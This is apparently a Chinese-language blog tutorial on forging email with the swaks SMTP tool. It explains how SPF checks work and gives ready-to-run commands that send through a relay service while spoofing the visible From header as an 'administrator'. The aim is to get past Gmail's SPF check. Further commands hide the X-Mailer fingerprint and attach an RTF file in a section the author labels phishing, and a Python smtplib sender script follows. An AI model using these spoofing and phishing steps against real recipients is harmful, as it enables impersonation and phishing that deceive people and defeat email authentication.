Swaks偽造郵件
0x00 swaks
swaks - Swiss Army Knife SMTP, the all-purpose smtp transaction tester.
swaks堪稱SMTP協議的瑞士軍刀,使用它我們可以靈活的操作SMTP協議報文,這篇文章主要是記錄一下我是如何偽造一封郵件繞過gmail的檢測。
通常最簡單的傳送命令:
swaks --to [email protected] --server test-server.example.net
但是郵件頭中會帶上X-Mailer
:
同時,SPF檢測會FAIL。
0x01 smtp2go
這個是從evi1cg師傅那裡看到的,smtp2go主要是相當於郵件託管,可以分發子賬戶進行傳送。
地址:https://support.smtp2go.com/hc/en-gb
(郵箱註冊)普通賬戶可以免費發1000封郵件。
分配好賬戶後,可以通過swaks進行登入傳送郵件:
0x02 swaks傳送郵件
swaks --to [email protected] --from [email protected] --ehlo gmail.com --body hello --server mail.smtp2go.com -p 2525 -au <USER> -ap <PASS>
但是上面這個郵件無法繞過SPF。
0x03 SPF驗證原理
如果mail.smtp2go.com是我的郵件伺服器,那麼gmail伺服器收到的源IP也肯定是mail.smtp2go.com的IP。
gmail會校驗郵件傳送者的IP是否存在於smtp.from的域名spf配置列表裡。
而上面這條命令:
swaks --to [email protected] --from [email protected] --ehlo gmail.com --body hello --server mail.smtp2go.com -p 2525 -au <USER> -ap <PASS>
smtp.from就是[email protected],和mail.smtp2go.com的IP肯定不同,所以SPF校驗失敗,而校驗失敗的郵件,會有很高的機率被扔到垃圾郵件中。
預設情況下,如果未設定Mail.From也就是郵件頭的From,則會使用smtp.from作為Mail.From。
0x04 繞過SPF
由於郵件顯示的是Header中的From不是smtp.from,因此可以將smtp.from設定為正常的郵件伺服器地址,偽造一個Mail.From即可。
swaks --to [email protected] --from [email protected] --h-From: '管理員<[email protected]>' --ehlo gmail.com --body hello --server mail.smtp2go.com -p 2525 -au <USER> -ap <PASSS>
Gmail接收到這封郵件後,會校驗--from [email protected]
中的smtp2go.com是否等於mail.smtp2go.com的IP,由於是相等的,所以完成了SPF的校驗。
而DKIM是校驗郵件完整性的,smtp2go與Gmail直接使用的是TLS,不會發生什麼問題。
0x05 Header
swaks支援自定義某些Header,引數如下:
swaks --header-<Name> <Value>
如果我想去除Mailer特徵,就可以這麼做:
swaks --header-X-Mailer gmail.com --to [email protected] --from [email protected] --h-From: '管理員<[email protected]>' --ehlo gmail.com --body hello --server mail.smtp2go.com -p 2525 -au <USER> -ap <PASSS>
0x06 附件、釣魚
swaks --header-X-Mailer gmail.com --to [email protected] --from [email protected] --h-From: '管理員<[email protected]>' --ehlo gmail.com --body hello --server mail.smtp2go.com -p 2525 -au <USER> -ap <PASSS> --attach /tmp/sss.rtf
定製傳送:
swaks --data /tmp/mail.data --header-X-Mailer gmail.com --to [email protected] --from [email protected] --h-From: '管理員<[email protected]>' --ehlo gmail.com --body hello --server mail.smtp2go.com -p 2525 -au <USER> -ap <PASSS> --attach /tmp/sss.rtf
/tmp/mail.data中是原始的郵件報文。
0x07 Python也可以做
#!/usr/bin/python # -*- coding: UTF-8 -*- import smtplib from email.mime.text import MIMEText from email.header import Header mail_host="mail.smtp2go.com" mail_user="" mail_pass="" sender = '[email protected]' receivers = ['[email protected]'] message = MIMEText('Hello World', 'plain', 'utf-8') message['From'] = Header("[email protected]", 'utf-8') message['To'] =Header(receivers[0], 'utf-8') subject = 'SMTP 郵件測試' message['Subject'] = Header(subject, 'utf-8') try: smtpObj = smtplib.SMTP() smtpObj.connect(mail_host, 25) smtpObj.login(mail_user,mail_pass) smtpObj.sendmail(sender, receivers, message.as_string()) print "Success" except smtplib.SMTPException: print "Error"